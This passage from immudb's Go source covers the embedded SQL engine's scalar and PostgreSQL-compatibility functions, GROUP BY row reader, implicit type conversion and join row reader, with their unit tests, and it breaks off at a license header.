'%s' function expects an argument of type %s", ErrIllegalArguments, LengthFnCall, VarcharType) } s, _ := v.RawValue().(string) return &Integer{val: int64(len(s))}, nil } type ConcatFn struct{} func (f *ConcatFn) InferType(cols map[string]ColDescriptor, params map[string]SQLValueType, implicitTable string) (SQLValueType, error) { return VarcharType, nil } func (f *ConcatFn) RequiresType(t SQLValueType, cols map[string]ColDescriptor, params map[string]SQLValueType, implicitTable string) error { if t != VarcharType { return fmt.Errorf("%w: %v can not be interpreted as type %v", ErrInvalidTypes, VarcharType, t) } return nil } func (f *ConcatFn) Apply(tx *SQLTx, params []TypedValue) (TypedValue, error) { if len(params) == 0 { return nil, fmt.Errorf("%w: '%s' function does expects at least one argument", ErrIllegalArguments, ConcatFnCall) } for _, v := range params { if v.Type() != AnyType && v.Type() != VarcharType { return nil, fmt.Errorf("%w: '%s' function doesn't accept arguments of type %s", ErrIllegalArguments, ConcatFnCall, v.Type()) } } var builder strings.Builder for _, v := range params { s, _ := v.RawValue().(string) builder.WriteString(s) } return &Varchar{val: builder.String()}, nil } type SubstringFn struct { } func (f *SubstringFn) InferType(cols map[string]ColDescriptor, params map[string]SQLValueType, implicitTable string) (SQLValueType, error) { return VarcharType, nil } func (f *SubstringFn) RequiresType(t SQLValueType, cols map[string]ColDescriptor, params map[string]SQLValueType, implicitTable string) error { if t != VarcharType { return fmt.Errorf("%w: %v can not be interpreted as type %v", ErrInvalidTypes, VarcharType, t) } return nil } func (f *SubstringFn) Apply(tx *SQLTx, params []TypedValue) (TypedValue, error) { if len(params) != 3 { return nil, fmt.Errorf("%w: '%s' function does expects three argument but %d were provided", ErrIllegalArguments, SubstringFnCall, len(params)) } v1, v2, v3 := params[0], params[1], params[2] if v1.IsNull() || v2.IsNull() || v3.IsNull() { return &NullValue{t: VarcharType}, nil } s, _ := v1.RawValue().(string) pos, _ := v2.RawValue().(int64) length, _ := v3.RawValue().(int64) if pos <= 0 { return nil, fmt.Errorf("%w: parameter 'position' must be greater than zero", ErrIllegalArguments) } if length < 0 { return nil, fmt.Errorf("%w: parameter 'length' cannot be negative", ErrIllegalArguments) } if pos-1 >= int64(len(s)) { return &Varchar{val: ""}, nil } end := pos - 1 + length if end > int64(len(s)) { end = int64(len(s)) } return &Varchar{val: s[pos-1 : end]}, nil } type LowerUpperFnc struct { isUpper bool } func (f *LowerUpperFnc) InferType(cols map[string]ColDescriptor, params map[string]SQLValueType, implicitTable string) (SQLValueType, error) { return VarcharType, nil } func (f *LowerUpperFnc) RequiresType(t SQLValueType, cols map[string]ColDescriptor, params map[string]SQLValueType, implicitTable string) error { if t != VarcharType { return fmt.Errorf("%w: %v can not be interpreted as type %v", ErrInvalidTypes, VarcharType, t) } return nil } func (f *LowerUpperFnc) Apply(tx *SQLTx, params []TypedValue) (TypedValue, error) { if len(params) != 1 { return nil, fmt.Errorf("%w: '%s' function does expects one argument but %d were provided", ErrIllegalArguments, f.name(), len(params)) } v := params[0] if v.IsNull() { return &NullValue{t: VarcharType}, nil } if v.Type() != VarcharType { return nil, fmt.Errorf("%w: '%s' function expects an argument of type %s", ErrIllegalArguments, f.name(), VarcharType) } s, _ := v.RawValue().(string) var res string if f.isUpper { res = strings.ToUpper(s) } else { res = strings.ToLower(s) } return &Varchar{val: res}, nil } func (f *LowerUpperFnc) name() string { if f.isUpper { return UpperFnCall } return LowerFnCall } type TrimFnc struct { } func (f *TrimFnc) InferType(cols map[string]ColDescriptor, params map[string]SQLValueType, implicitTable string) (SQLValueType, error) { return VarcharType, nil } func (f *TrimFnc) RequiresType(t SQLValueType, cols map[string]ColDescriptor, params map[string]SQLValueType, implicitTable string) error { if t != VarcharType { return fmt.Errorf("%w: %v can not be interpreted as type %v", ErrInvalidTypes, VarcharType, t) } return nil } func (f *TrimFnc) Apply(tx *SQLTx, params []TypedValue) (TypedValue, error) { if len(params) != 1 { return nil, fmt.Errorf("%w: '%s' function does expects one argument but %d were provided", ErrIllegalArguments, TrimFnCall, len(params)) } v := params[0] if v.IsNull() { return &NullValue{t: VarcharType}, nil } if v.Type() != VarcharType { return nil, fmt.Errorf("%w: '%s' function expects an argument of type %s", ErrIllegalArguments, TrimFnCall, VarcharType) } s, _ := v.RawValue().(string) return &Varchar{val: strings.Trim(s, " \t\n\r\v\f")}, nil } // ------------------------------------- // Time Functions // ------------------------------------- type NowFn struct{} func (f *NowFn) InferType(cols map[string]ColDescriptor, params map[string]SQLValueType, implicitTable string) (SQLValueType, error) { return TimestampType, nil } func (f *NowFn) RequiresType(t SQLValueType, cols map[string]ColDescriptor, params map[string]SQLValueType, implicitTable string) error { if t != TimestampType { return fmt.Errorf("%w: %v can not be interpreted as type %v", ErrInvalidTypes, TimestampType, t) } return nil } func (f *NowFn) Apply(tx *SQLTx, params []TypedValue) (TypedValue, error) { if len(params) > 0 { return nil, fmt.Errorf("%w: '%s' function does not expect any argument but %d were provided", ErrIllegalArguments, NowFnCall, len(params)) } return &Timestamp{val: tx.Timestamp().Truncate(time.Microsecond).UTC()}, nil } // ------------------------------------- // JSON Functions // ------------------------------------- type JsonTypeOfFn struct{} func (f *JsonTypeOfFn) InferType(cols map[string]ColDescriptor, params map[string]SQLValueType, implicitTable string) (SQLValueType, error) { return VarcharType, nil } func (f *JsonTypeOfFn) RequiresType(t SQLValueType, cols map[string]ColDescriptor, params map[string]SQLValueType, implicitTable string) error { if t != VarcharType { return fmt.Errorf("%w: %v can not be interpreted as type %v", ErrInvalidTypes, VarcharType, t) } return nil } func (f *JsonTypeOfFn) Apply(tx *SQLTx, params []TypedValue) (TypedValue, error) { if len(params) != 1 { return nil, fmt.Errorf("%w: '%s' function expects %d arguments but %d were provided", ErrIllegalArguments, JSONTypeOfFnCall, 1, len(params)) } v := params[0] if v.IsNull() { return NewNull(AnyType), nil } jsonVal, ok := v.(*JSON) if !ok { return nil, fmt.Errorf("%w: '%s' function expects an argument of type JSON", ErrIllegalArguments, JSONTypeOfFnCall) } return NewVarchar(jsonVal.primitiveType()), nil } // ------------------------------------- // UUID Functions // ------------------------------------- type UUIDFn struct{} func (f *UUIDFn) InferType(cols map[string]ColDescriptor, params map[string]SQLValueType, implicitTable string) (SQLValueType, error) { return UUIDType, nil } func (f *UUIDFn) RequiresType(t SQLValueType, cols map[string]ColDescriptor, params map[string]SQLValueType, implicitTable string) error { if t != UUIDType { return fmt.Errorf("%w: %v can not be interpreted as type %v", ErrInvalidTypes, UUIDType, t) } return nil } func (f *UUIDFn) Apply(_ *SQLTx, params []TypedValue) (TypedValue, error) { if len(params) > 0 { return nil, fmt.Errorf("%w: '%s' function does not expect any argument but %d were provided", ErrIllegalArguments, UUIDFnCall, len(params)) } return &UUID{val: uuid.New()}, nil } // pg functions type pgGetUserByIDFunc struct{} func (f *pgGetUserByIDFunc) RequiresType(t SQLValueType, cols map[string]ColDescriptor, params map[string]SQLValueType, implicitTable string) error { if t != VarcharType { return fmt.Errorf("%w: %v can not be interpreted as type %v", ErrInvalidTypes, IntegerType, t) } return nil } func (f *pgGetUserByIDFunc) InferType(cols map[string]ColDescriptor, params map[string]SQLValueType, implicitTable string) (SQLValueType, error) { return VarcharType, nil } func (f *pgGetUserByIDFunc) Apply(tx *SQLTx, params []TypedValue) (TypedValue, error) { if len(params) != 1 { return nil, fmt.Errorf("%w: '%s' function expects %d arguments but %d were provided", ErrIllegalArguments, PGGetUserByIDFnCall, 1, len(params)) } if params[0].RawValue() != int64(0) { return nil, fmt.Errorf("user not found") } users, err := tx.ListUsers(tx.tx.Context()) if err != nil { return nil, err } idx := findSysAdmin(users) if idx < 0 { return nil, fmt.Errorf("admin not found") } return NewVarchar(users[idx].Username()), nil } func findSysAdmin(users []User) int { for i, u := range users { if u.Permission() == PermissionSysAdmin { return i } } return -1 } type pgTableIsVisible struct{} func (f *pgTableIsVisible) RequiresType(t SQLValueType, cols map[string]ColDescriptor, params map[string]SQLValueType, implicitTable string) error { if t != BooleanType { return fmt.Errorf("%w: %v can not be interpreted as type %v", ErrInvalidTypes, BooleanType, t) } return nil } func (f *pgTableIsVisible) InferType(cols map[string]ColDescriptor, params map[string]SQLValueType, implicitTable string) (SQLValueType, error) { return BooleanType, nil } func (f *pgTableIsVisible) Apply(tx *SQLTx, params []TypedValue) (TypedValue, error) { if len(params) != 1 { return nil, fmt.Errorf("%w: '%s' function expects %d arguments but %d were provided", ErrIllegalArguments, PgTableIsVisibleFnCall, 1, len(params)) } return NewBool(true), nil } type pgShobjDescription struct{} func (f *pgShobjDescription) RequiresType(t SQLValueType, cols map[string]ColDescriptor, params map[string]SQLValueType, implicitTable string) error { if t != VarcharType { return fmt.Errorf("%w: %v can not be interpreted as type %v", ErrInvalidTypes, VarcharType, t) } return nil } func (f *pgShobjDescription) InferType(cols map[string]ColDescriptor, params map[string]SQLValueType, implicitTable string) (SQLValueType, error) { return VarcharType, nil } func (f *pgShobjDescription) Apply(tx *SQLTx, params []TypedValue) (TypedValue, error) { if len(params) != 2 { return nil, fmt.Errorf("%w: '%s' function expects %d arguments but %d were provided", ErrIllegalArguments, PgShobjDescriptionFnCall, 2, len(params)) } return NewVarchar(""), nil } ================================================ FILE: embedded/sql/functions_test.go ================================================ /* Copyright 2025 Codenotary Inc. All rights reserved. SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ package sql import ( "testing" "github.com/stretchr/testify/require" ) func TestPGFunctions(t *testing.T) { t.Run("pg_get_userbyid", func(t *testing.T) { var f pgGetUserByIDFunc err := f.RequiresType(BooleanType, nil, nil, "") require.Error(t, err, ErrInvalidTypes) err = f.RequiresType(VarcharType, nil, nil, "") require.NoError(t, err) funcType, err := f.InferType(nil, nil, "") require.NoError(t, err) require.Equal(t, VarcharType, funcType) _, err = f.Apply(nil, []TypedValue{NewInteger(0), NewInteger(0)}) require.ErrorIs(t, err, ErrIllegalArguments) _, err = f.Apply(nil, []TypedValue{NewInteger(1)}) require.ErrorContains(t, err, "user not found") }) t.Run("pg_table_is_visible", func(t *testing.T) { var f pgTableIsVisible err := f.RequiresType(VarcharType, nil, nil, "") require.Error(t, err, ErrInvalidTypes) err = f.RequiresType(BooleanType, nil, nil, "") require.NoError(t, err) funcType, err := f.InferType(nil, nil, "") require.NoError(t, err) require.Equal(t, BooleanType, funcType) _, err = f.Apply(nil, []TypedValue{}) require.ErrorIs(t, err, ErrIllegalArguments) v, err := f.Apply(nil, []TypedValue{NewVarchar("my_table")}) require.NoError(t, err) require.True(t, v.RawValue().(bool)) }) t.Run("pg_shobj_description", func(t *testing.T) { var f pgShobjDescription err := f.RequiresType(BooleanType, nil, nil, "") require.Error(t, err, ErrInvalidTypes) err = f.RequiresType(VarcharType, nil, nil, "") require.NoError(t, err) funcType, err := f.InferType(nil, nil, "") require.NoError(t, err) require.Equal(t, VarcharType, funcType) _, err = f.Apply(nil, []TypedValue{NewVarchar("")}) require.ErrorIs(t, err, ErrIllegalArguments) v, err := f.Apply(nil, []TypedValue{NewVarchar(""), NewVarchar("")}) require.NoError(t, err) require.Empty(t, v.RawValue()) }) } ================================================ FILE: embedded/sql/grouped_row_reader.go ================================================ /* Copyright 2025 Codenotary Inc. All rights reserved. SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ package sql import ( "context" "errors" "fmt" "github.com/codenotary/immudb/embedded/store" ) type groupedRowReader struct { rowReader RowReader selectors []*AggColSelector groupByCols []*ColSelector cols []ColDescriptor allAggregations bool currRow *Row empty bool } func newGroupedRowReader(rowReader RowReader, allAggregations bool, selectors []*AggColSelector, groupBy []*ColSelector) (*groupedRowReader, error) { if rowReader == nil { return nil, ErrIllegalArguments } gr := &groupedRowReader{ rowReader: rowReader, selectors: selectors, groupByCols: groupBy, empty: true, allAggregations: allAggregations, } cols, err := gr.columns() if err == nil { gr.cols = cols } return gr, err } func (gr *groupedRowReader) onClose(callback func()) { gr.rowReader.onClose(callback) } func (gr *groupedRowReader) Tx() *SQLTx { return gr.rowReader.Tx() } func (gr *groupedRowReader) TableAlias() string { return gr.rowReader.TableAlias() } func (gr *groupedRowReader) OrderBy() []ColDescriptor { return gr.rowReader.OrderBy() } func (gr *groupedRowReader) ScanSpecs() *ScanSpecs { return gr.rowReader.ScanSpecs() } func (gr *groupedRowReader) Columns(ctx context.Context) ([]ColDescriptor, error) { return gr.cols, nil } func (gr *groupedRowReader) columns() ([]ColDescriptor, error) { colsBySel, err := gr.colsBySelector(context.Background()) if err != nil { return nil, err } selectorMap := make(map[string]bool) colsByPos := make([]ColDescriptor, 0, len(gr.selectors)) for _, sel := range gr.selectors { encSel := EncodeSelector(sel.resolve(gr.rowReader.TableAlias())) colsByPos = append(colsByPos, colsBySel[encSel]) selectorMap[encSel] = true } for _, col := range gr.groupByCols { sel := EncodeSelector(col.resolve(gr.rowReader.TableAlias())) if !selectorMap[sel] { colsByPos = append(colsByPos, colsBySel[sel]) } } return colsByPos, nil } func (gr *groupedRowReader) colsBySelector(ctx context.Context) (map[string]ColDescriptor, error) { colDescriptors, err := gr.rowReader.colsBySelector(ctx) if err != nil { return nil, err } for _, sel := range gr.selectors { aggFn, table, col := sel.resolve(gr.rowReader.TableAlias()) if aggFn == "" { continue } des := ColDescriptor{ AggFn: aggFn, Table: table, Column: col, Type: IntegerType, } encSel := des.Selector() if aggFn == COUNT { colDescriptors[encSel] = des continue } colDesc, ok := colDescriptors[EncodeSelector("", table, col)] if !ok { return nil, fmt.Errorf("%w (%s)", ErrColumnDoesNotExist, col) } des.Type = colDesc.Type colDescriptors[encSel] = des } return colDescriptors, nil } func allAggregations(targets []TargetEntry) bool { for _, t := range targets { _, isAggregation := t.Exp.(*AggColSelector) if !isAggregation { return false } } return true } func zeroForType(t SQLValueType) TypedValue { switch t { case IntegerType: return &Integer{} case Float64Type: return &Float64{} case BooleanType: return &Bool{} case VarcharType: return &Varchar{} case JSONType: return &JSON{} case UUIDType: return &UUID{} case BLOBType: return &Blob{} case TimestampType: return &Timestamp{} } return nil } func (gr *groupedRowReader) InferParameters(ctx context.Context, params map[string]SQLValueType) error { return gr.rowReader.InferParameters(ctx, params) } func (gr *groupedRowReader) Parameters() map[string]interface{} { return gr.rowReader.Parameters() } func (gr *groupedRowReader) Read(ctx context.Context) (*Row, error) { for { row, err := gr.rowReader.Read(ctx) if errors.Is(err, store.ErrNoMoreEntries) { return gr.emitCurrentRow(ctx) } if err != nil { return nil, err } gr.empty = false if gr.currRow == nil { gr.currRow = row err = gr.initAggregations(gr.currRow) if err != nil { return nil, err } continue } compatible, err := gr.currRow.compatible(row, gr.groupByCols, gr.rowReader.TableAlias()) if err != nil { return nil, err } if !compatible { r := gr.currRow gr.currRow = row err = gr.initAggregations(gr.currRow) if err != nil { return nil, err } return r, nil } // Compatible rows get merged err = updateRow(gr.currRow, row) if err != nil { return nil, err } } } func updateRow(currRow, newRow *Row) error { for _, v := range currRow.ValuesBySelector { aggV, isAggregatedValue := v.(AggregatedValue) if isAggregatedValue { if aggV.ColBounded() { val, exists := newRow.ValuesBySelector[aggV.Selector()] if !exists { return ErrColumnDoesNotExist } err := aggV.updateWith(val) if err != nil { return err } } if !aggV.ColBounded() { err := aggV.updateWith(nil) if err != nil { return err } } } } return nil } func (gr *groupedRowReader) emitCurrentRow(ctx context.Context) (*Row, error) { if gr.empty && gr.allAggregations && len(gr.groupByCols) == 0 { zr, err := gr.zeroRow(ctx) if err != nil { return nil, err } gr.empty = false return zr, nil } if gr.currRow == nil { return nil, ErrNoMoreRows } r := gr.currRow gr.currRow = nil return r, nil } func (gr *groupedRowReader) zeroRow(ctx context.Context) (*Row, error) { // special case when all selectors are aggregations zeroRow := &Row{ ValuesByPosition: make([]TypedValue, len(gr.selectors)), ValuesBySelector: make(map[string]TypedValue, len(gr.selectors)), } colsBySelector, err := gr.colsBySelector(ctx) if err != nil { return nil, err } for i, sel := range gr.selectors { aggFn, table, col := sel.resolve(gr.rowReader.TableAlias()) encSel := EncodeSelector(aggFn, table, col) var zero TypedValue if aggFn == COUNT { zero = zeroForType(IntegerType) } else { zero = zeroForType(colsBySelector[encSel].Type) } zeroRow.ValuesByPosition[i] = zero zeroRow.ValuesBySelector[encSel] = zero } return zeroRow, nil } func (gr *groupedRowReader) initAggregations(row *Row) error { // augment row with aggregated values for _, sel := range gr.selectors { aggFn, table, col := sel.resolve(gr.rowReader.TableAlias()) v, err := initAggValue(aggFn, table, col) if err != nil { return err } if v == nil { continue } encSel := EncodeSelector(aggFn, table, col) row.ValuesBySelector[encSel] = v } for i, col := range gr.cols { v := row.ValuesBySelector[col.Selector()] if i < len(row.ValuesByPosition) { row.ValuesByPosition[i] = v } else { row.ValuesByPosition = append(row.ValuesByPosition, v) } } row.ValuesByPosition = row.ValuesByPosition[:len(gr.cols)] return updateRow(row, row) } func initAggValue(aggFn, table, col string) (TypedValue, error) { var v TypedValue switch aggFn { case COUNT: { if col != "*" { return nil, ErrLimitedCount } v = &CountValue{sel: EncodeSelector("", table, col)} } case SUM: { v = &SumValue{ val: &NullValue{t: AnyType}, sel: EncodeSelector("", table, col), } } case MIN: { v = &MinValue{ val: &NullValue{t: AnyType}, sel: EncodeSelector("", table, col), } } case MAX: { v = &MaxValue{ val: &NullValue{t: AnyType}, sel: EncodeSelector("", table, col), } } case AVG: { v = &AVGValue{ s: &NullValue{t: AnyType}, sel: EncodeSelector("", table, col), } } } return v, nil } func (gr *groupedRowReader) Close() error { return gr.rowReader.Close() } ================================================ FILE: embedded/sql/grouped_row_reader_test.go ================================================ /* Copyright 2025 Codenotary Inc. All rights reserved. SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ package sql import ( "context" "testing" "github.com/codenotary/immudb/embedded/store" "github.com/stretchr/testify/require" ) func TestGroupedRowReader(t *testing.T) { st, err := store.Open(t.TempDir(), store.DefaultOptions().WithMultiIndexing(true)) require.NoError(t, err) engine, err := NewEngine(st, DefaultOptions().WithPrefix(sqlPrefix)) require.NoError(t, err) _, err = newGroupedRowReader(nil, false, nil, nil) require.ErrorIs(t, err, ErrIllegalArguments) tx, err := engine.NewTx(context.Background(), DefaultTxOptions()) require.NoError(t, err) _, _, err = engine.Exec(context.Background(), tx, "CREATE TABLE table1(id INTEGER, number INTEGER, PRIMARY KEY id)", nil) require.NoError(t, err) tx, err = engine.NewTx(context.Background(), DefaultTxOptions()) require.NoError(t, err) defer tx.Cancel() table := tx.catalog.tables[0] r, err := newRawRowReader(tx, nil, table, period{}, "", &ScanSpecs{Index: table.primaryIndex}) require.NoError(t, err) gr, err := newGroupedRowReader(r, false, []*AggColSelector{{aggFn: "COUNT", col: "id"}}, []*ColSelector{{col: "id"}}) require.NoError(t, err) orderBy := gr.OrderBy() require.NotNil(t, orderBy) require.Len(t, orderBy, 1) require.Equal(t, "id", orderBy[0].Column) require.Equal(t, "table1", orderBy[0].Table) cols, err := gr.Columns(context.Background()) require.NoError(t, err) require.Len(t, cols, 2) scanSpecs := gr.ScanSpecs() require.NotNil(t, scanSpecs) require.NotNil(t, scanSpecs.Index) require.True(t, scanSpecs.Index.IsPrimary()) } ================================================ FILE: embedded/sql/implicit_conversion.go ================================================ /* Copyright 2025 Codenotary Inc. All rights reserved. SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ package sql import "github.com/google/uuid" // mayApplyImplicitConversion may do an implicit type conversion // implicit conversion is currently done in a subset of possible explicit conversions i.e. CAST func mayApplyImplicitConversion(val interface{}, requiredColumnType SQLValueType) (interface{}, error) { if val == nil { return nil, nil } var converter converterFunc var typedVal TypedValue var err error switch requiredColumnType { case Float64Type: switch value := val.(type) { case float64: return val, nil case int: converter, err = getConverter(IntegerType, Float64Type) if err != nil { return nil, err } typedVal = &Integer{val: int64(value)} case int64: converter, err = getConverter(IntegerType, Float64Type) if err != nil { return nil, err } typedVal = &Integer{val: value} case string: converter, err = getConverter(VarcharType, Float64Type) if err != nil { return nil, err } typedVal = &Varchar{val: value} } case IntegerType: switch value := val.(type) { case int64: return val, nil case float64: converter, err = getConverter(Float64Type, IntegerType) if err != nil { return nil, err } typedVal = &Float64{val: value} case string: converter, err = getConverter(VarcharType, IntegerType) if err != nil { return nil, err } typedVal = &Varchar{val: value} } case UUIDType: switch value := val.(type) { case uuid.UUID: return val, nil case string: converter, err = getConverter(VarcharType, UUIDType) if err != nil { return nil, err } typedVal = &Varchar{val: value} case []byte: converter, err = getConverter(BLOBType, UUIDType) if err != nil { return nil, err } typedVal = &Blob{val: value} } default: // No implicit conversion rule found, do not convert at all return val, nil } if typedVal == nil { // No implicit conversion rule found, do not convert at all return val, nil } convVal, err := converter(typedVal) if err != nil { return nil, err } return convVal.RawValue(), nil } ================================================ FILE: embedded/sql/implicit_conversion_test.go ================================================ /* Copyright 2025 Codenotary Inc. All rights reserved. SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ package sql import ( "fmt" "testing" "github.com/google/uuid" "github.com/stretchr/testify/require" ) func TestApplyImplicitConversion(t *testing.T) { for _, d := range []struct { val interface{} requiredType SQLValueType expected interface{} }{ {1, IntegerType, int64(1)}, {1, Float64Type, float64(1)}, {1.0, Float64Type, float64(1)}, {"1", IntegerType, int64(1)}, {"4.2", Float64Type, float64(4.2)}, // UUID Version 4, RFC4122 Variant {"00010203-0440-0680-0809-0a0b0c0d0e0f", UUIDType, uuid.UUID([16]byte{0x00, 0x01, 0x02, 0x03, 0x04, 0x40, 0x06, 0x80, 0x08, 0x09, 0x0a, 0x0b, 0x0c, 0x0d, 0x0e, 0x0f})}, {[]byte{0x00, 0x01, 0x02, 0x03, 0x04, 0x40, 0x06, 0x80, 0x08, 0x09, 0x0a, 0x0b, 0x0c, 0x0d, 0x0e, 0x0f}, UUIDType, uuid.UUID([16]byte{0x00, 0x01, 0x02, 0x03, 0x04, 0x40, 0x06, 0x80, 0x08, 0x09, 0x0a, 0x0b, 0x0c, 0x0d, 0x0e, 0x0f})}, } { t.Run(fmt.Sprintf("%+v", d), func(t *testing.T) { convVal, err := mayApplyImplicitConversion(d.val, d.requiredType) require.NoError(t, err) require.EqualValues(t, d.expected, convVal) }) } } ================================================ FILE: embedded/sql/joint_row_reader.go ================================================ /* Copyright 2025 Codenotary Inc. All rights reserved. SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ package sql import ( "context" "fmt" "github.com/codenotary/immudb/embedded/multierr" ) type jointRowReader struct { rowReader RowReader joins []*JoinSpec rowReaders []RowReader rowReadersValuesByPosition [][]TypedValue rowReadersValuesBySelector []map[string]TypedValue } func newJointRowReader(rowReader RowReader, joins []*JoinSpec) (*jointRowReader, error) { if rowReader == nil || len(joins) == 0 { return nil, ErrIllegalArguments } for _, jspec := range joins { switch jspec.joinType { case InnerJoin, LeftJoin: default: return nil, ErrUnsupportedJoinType } } return &jointRowReader{ rowReader: rowReader, joins: joins, rowReaders: []RowReader{rowReader}, rowReadersValuesByPosition: make([][]TypedValue, 1+len(joins)), rowReadersValuesBySelector: make([]map[string]TypedValue, 1+len(joins)), }, nil } func (jointr *jointRowReader) onClose(callback func()) { jointr.rowReader.onClose(callback) } func (jointr *jointRowReader) Tx() *SQLTx { return jointr.rowReader.Tx() } func (jointr *jointRowReader) TableAlias() string { return jointr.rowReader.TableAlias() } func (jointr *jointRowReader) OrderBy() []ColDescriptor { return jointr.rowReader.OrderBy() } func (jointr *jointRowReader) ScanSpecs() *ScanSpecs { return jointr.rowReader.ScanSpecs() } func (jointr *jointRowReader) Columns(ctx context.Context) ([]ColDescriptor, error) { return jointr.colsByPos(ctx) } func (jointr *jointRowReader) colsBySelector(ctx context.Context) (map[string]ColDescriptor, error) { colDescriptors, err := jointr.rowReader.colsBySelector(ctx) if err != nil { return nil, err } jointDescriptors := make(map[string]ColDescriptor, len(colDescriptors)) for sel, desc := range colDescriptors { jointDescriptors[sel] = desc } for _, jspec := range jointr.joins { // TODO (byo) optimize this by getting selector list only or opening all joint readers // on jointRowReader creation, // Note: We're using a dummy ScanSpec object that is only used during read, we're only interested // in column list though rr, err := jspec.ds.Resolve(ctx, jointr.Tx(), nil, &ScanSpecs{Index: &Index{}}) if err != nil { return nil, err } defer rr.Close() cd, err := rr.colsBySelector(ctx) if err != nil { return nil, err } for sel, des := range cd { if _, exists := jointDescriptors[sel]; exists { return nil, fmt.Errorf( "error resolving '%s' in a join: %w, "+ "use aliasing to assign unique names "+ "for all tables, sub-queries and columns", sel, ErrAmbiguousSelector, ) } jointDescriptors[sel] = des } } return jointDescriptors, nil } func (jointr *jointRowReader) colsByPos(ctx context.Context) ([]ColDescriptor, error) { colDescriptors, err := jointr.rowReader.Columns(ctx) if err != nil { return nil, err } for _, jspec := range jointr.joins { // TODO (byo) optimize this by getting selector list only or opening all joint readers // on jointRowReader creation, // Note: We're using a dummy ScanSpec object that is only used during read, we're only interested // in column list though rr, err := jspec.ds.Resolve(ctx, jointr.Tx(), nil, &ScanSpecs{Index: &Index{}}) if err != nil { return nil, err } defer rr.Close() cd, err := rr.Columns(ctx) if err != nil { return nil, err } colDescriptors = append(colDescriptors, cd...) } return colDescriptors, nil } func (jointr *jointRowReader) InferParameters(ctx context.Context, params map[string]SQLValueType) error { err := jointr.rowReader.InferParameters(ctx, params) if err != nil { return err } cols, err := jointr.colsBySelector(ctx) if err != nil { return err } for _, join := range jointr.joins { err = join.ds.inferParameters(ctx, jointr.Tx(), params) if err != nil { return err } _, err = join.cond.inferType(cols, params, jointr.TableAlias()) if err != nil { return err } } return err } func (jointr *jointRowReader) Parameters() map[string]interface{} { return jointr.rowReader.Parameters() } func (jointr *jointRowReader) Read(ctx context.Context) (row *Row, err error) { for { row := &Row{ ValuesByPosition: make([]TypedValue, 0), ValuesBySelector: make(map[string]TypedValue), } for len(jointr.rowReaders) > 0 { lastReader := jointr.rowReaders[len(jointr.rowReaders)-1] r, err := lastReader.Read(ctx) if err == ErrNoMoreRows { // previous reader will need to read next row jointr.rowReaders = jointr.rowReaders[:len(jointr.rowReaders)-1] err = lastReader.Close() if err != nil { return nil, err } continue } if err != nil { return nil, err } // override row data jointr.rowReadersValuesByPosition[len(jointr.rowReaders)-1] = r.ValuesByPosition jointr.rowReadersValuesBySelector[len(jointr.rowReaders)-1] = r.ValuesBySelector break } if len(jointr.rowReaders) == 0 { return nil, ErrNoMoreRows } // append values from readers for i := 0; i < len(jointr.rowReaders); i++ { row.ValuesByPosition = append(row.ValuesByPosition, jointr.rowReadersValuesByPosition[i]...) for c, v := range jointr.rowReadersValuesBySelector[i] { row.ValuesBySelector[c] = v } } unsolvedFK := false for i := len(jointr.rowReaders) - 1; i < len(jointr.joins); i++ { jspec := jointr.joins[i] jointq := &SelectStmt{ ds: jspec.ds, where: jspec.cond.reduceSelectors(row, jointr.TableAlias()), indexOn: jspec.indexOn, } reader, err := jointq.Resolve(ctx, jointr.Tx(), jointr.Parameters(), nil) if err != nil { return nil, err } r, err := reader.Read(ctx) if err == ErrNoMoreRows { if jspec.joinType == InnerJoin { // previous reader will need to read next row unsolvedFK = true err = reader.Close() if err != nil { return nil, err } break } else { // LEFT JOIN: fill column values with NULLs cols, err := reader.Columns(ctx) if err != nil { return nil, err } r = &Row{ ValuesByPosition: make([]TypedValue, len(cols)), ValuesBySelector: make(map[string]TypedValue, len(cols)), } for i, col := range cols { nullValue := NewNull(col.Type) r.ValuesByPosition[i] = nullValue r.ValuesBySelector[col.Selector()] = nullValue } } } else if err != nil { reader.Close() return nil, err } // progress with the joint readers // append the reader and kept the values for following rows jointr.rowReaders = append(jointr.rowReaders, reader) jointr.rowReadersValuesByPosition[i+1] = r.ValuesByPosition jointr.rowReadersValuesBySelector[i+1] = r.ValuesBySelector row.ValuesByPosition = append(row.ValuesByPosition, r.ValuesByPosition...) for c, v := range r.ValuesBySelector { row.ValuesBySelector[c] = v } } // all readers have a valid read if !unsolvedFK { return row, nil } } } func (jointr *jointRowReader) Close() error { merr := multierr.NewMultiErr() // Closing joint readers backwards - the first reader executes the onClose callback // thus it must be closed at the end for i := len(jointr.rowReaders) - 1; i >= 0; i-- { err := jointr.rowReaders[i].Close() merr.Append(err) } return merr.Reduce() } ================================================ FILE: embedded/sql/joint_row_reader_test.go ================================================ /* Copyright 2025 Codenotary Inc. All rights reserved. 